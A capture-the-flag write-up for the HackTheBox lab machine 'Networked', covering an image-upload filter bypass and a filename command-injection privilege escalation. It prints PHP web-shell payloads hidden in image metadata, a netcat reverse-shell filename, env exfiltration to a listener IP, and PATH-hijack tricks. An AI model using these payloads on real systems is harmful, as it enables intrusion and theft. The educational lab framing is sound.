

Slight hint(s): Unrestricted file upload, bypass image upload restriction, bypass mimetype restriction
Slight hint(s) (PE): shell command injection, unescaped variable command injection
Introduction
Networked is rated as “easy” and fun to do box, which main vectors include an upload restriction bypass and a custom script with unescaped bash variable, which could result in an unusual type of command injection. I consider this box a very close to reality one thus I rated it quite close to a real life attack.Enumeration
The box itself shows 2 tcp ports as opened – the ssh service running and a web server.






function file_mime_type($file) { $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/'; if (function_exists('finfo_file')) { $finfo = finfo_open(FILEINFO_MIME); if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system { $mime = @finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); if (is_string($mime) && preg_match($regexp, $mime, $matches)) { $file_type = $matches[1]; return $file_type; } } } function check_file_type($file) { $mime_type = file_mime_type($file); if (strpos($mime_type, 'image/') === 0) { return true; } else { return false; } }
Unrestricted file upload
So following all this and testing to upload some kind of file confirms that this is the actual code running on the server. conditions in order to bypass the file upload: 1) The file has to have an ‘image’ mimetype defined within its metadata and has to be over 60000 bytes (lib.php): strpos($mime_type, ‘image/’) === 0 && size > 60000 (0.06MB) 2) The file has to have one of the following extensions: ‘.jpg’, ‘.png’, ‘.gif’, ‘.jpeg’ (upload.php):list ($foo,$ext) = getnameUpload($myFile["name"]); $validext = array('.jpg', '.png', '.gif', '.jpeg'); $valid = false; foreach ($validext as $vext) { if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) { $valid = true; } }3) In order to access the file, the string of the IP address, with dots substituted by dashes, and followed by the filename extension could be accessed from within the /uploads folder (lib.php):
function getnameUpload($filename) { $pieces = explode('.',$filename); $name= array_shift($pieces); $name = str_replace('_','.',$name); $ext = implode('.',$pieces); return array($name,$ext); }It is easy to fill in a file with more than 60000 bytes so I will not be going into details on this, but the most simple way is to to append a bunch of new lines using the following one liner:
for i in $(seq 60000); do echo "" >> rce.php; doneor if you want to fill with exactly 60001 bytes of data:
truncate -s 60001 rce.phpIn order to bypass the mimetype restriction, you could just include the source code you would like to run as a a comment within the image metadata, or you could use burp to intercept the request, provide a real image file bigger than 60 000 bytes, and then include some php code in it, and make the extension of the image as .php.gif or .php.jpg in order to bypass the extension restrictions in place: # gifsicle
gifsicle < img.gif -- comment "<?php echo system($_GET['cmd']); ?>" > output.php.gif# exiftool
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' img.php.jpgPersonally I just took one of the images exposed from the photos.php script and then injected a php code snippet within it:





https://www.owasp.org/index.php/Unrestricted_File_Upload
https://sushant747.gitbooks.io/total-oscp-guide/bypass_image_upload.html
http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html
http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Webshells%20In%20PHP,%20ASP,%20JSP,%20Perl,%20And%20ColdFusion.pdf
https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf
Privilege Escalation
Stage #1: Access to guly
The intended way of escalating to root happens in two stages on this box (as on many others recently on hackthebox), and the first one is to get access to a user named “guly”. It seems there is a cron job running, and the script /home/guly/check_attack.php is run by cron every 3rd minute. If you want a nice and quick resource on crontab syntax you could use crontab.guru for a quick and easy human-readable translation of a cron job.
# check_attack.php <?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = "X-Mailer: check_attack.php\r\n"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?>As we do not have the permissions to alter the cron path directly we have to choose an alternative path to get access on bealf of guly. The weak spot in this script is the dynamically generated $value variable while iterating through the foreach loop, which is actually the current filename from the /var/www/html/uploads/ directory. As the $path variable is hard-coded, and the $value is actually each filename within the foreach loop current iteration, there is a potential command injection. If you generate a file with a name like ‘| injected command‘ or ‘; <injected command>‘, bash would evaluate this as an actual command when substituting the value of the variable. So I actually played around with this, and the scenario of networked is rather easy – you just create a file named ‘; nc <ip> -c bash’ in the/var/www/html/uploads/ directory, to which you have write access. However, what if the case were you did NOT have write access to /var/www/html/uploads/ or there was some restriction on the location fro which you are able to run a binary or script? There are a few obstacles that you would meet. The first one is the limitation of the filesystem itself and that you can not create a file named with anything containing a backslash “/” sign. For more information on this you could refer to this stackoverflow post titled “Is it possible to use “/” in a filename?”
So what are the possible alternatives to this?
Option #1: Use $PATH
– enumerate the PATH variable contents from which the actual cron job is run. After this place the binary to be executed to the first entry of PATH, and create a file with a name running the binary from $PATH. For example, in case $PATH looks like this:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
copy your binary to the first path you have write access to. Then crate a file named
‘; yourbinary’ in /var/www/html/uploads/
For some reason this option didn’t work on the box, probably because cron jobs are run without a tty and there is no PATH defined.
In order to get the current PATH you could use something like the following:
cd /var/www/html/uploads; touch ‘; env > getpath’
Once the cron job runs check out the contents of env would be written to the path where the cron job is run from, i.e. in this case /home/guly/getpath. While testing this /home/guly/getpath was empty, and this is the most possible reason this approach didn’t work.
Another way of getting the current PATH:
# echo -n $PATH | nc 10.10.14.29 9090 # evaluates to -> touch '; echo -n $PATH | nc 10.10.14.29 9090' # env | nc 10.10.14.29 9090 # evaluates to -> touch '; env | nc 10.10.14.29 9090'
Option #2: Include “..” into PATH
As you can not include a backslash within the filename you create, you could use the parent directory in case you have write access to it, which would be really a rare special condition. However if you define “..” or “~” in PATH, without any slashes, it will always evaluate to the parent directory or to the user’s home directory, respectively:
touch '; export PATH=~:$PATH; evilbinary' # will run ../evilbinary in case evilbinary is not present in the current directory
touch '; export PATH=..:$PATH; evilbinary' # will run ../evilbinary in case evilbinary is not present in the current directoryThen in case you have write access to the parent directory, the script will alter the PATH with its parent and run the binary from the parent directory.
Option #3: $TMP, $TMPDIR or mktemp along with PATH
on some linux configurations there are the $TMP and $TMPDIR variables, and in case they are defined with the “/” at the end for some reason, you could define them into PATH, then run the binary from /tmp.
The other, more elegant option is to use mktemp to create a temp file like this:
mktemp evilbinaryXXX, then substring to /tmp/ and include it into PATH , then run it:
cd /var/www/html/uploads/ touch '; tmp=`mktemp`; export PATH=${tmp:0:4}:$PATH; evilbinary' touch '; tmp=`mktemp`; export PATH=${tmp:0:4}:$PATH; chown -R guly:guly evilbinary; chmod +x evilbinary'Let’s now get back to the usual intended way to own the guly user:

Stage #2: From guly to root
The “sudo -l” command reveals a script which can be run with sudo privileges without a password:

eval /bin/bash
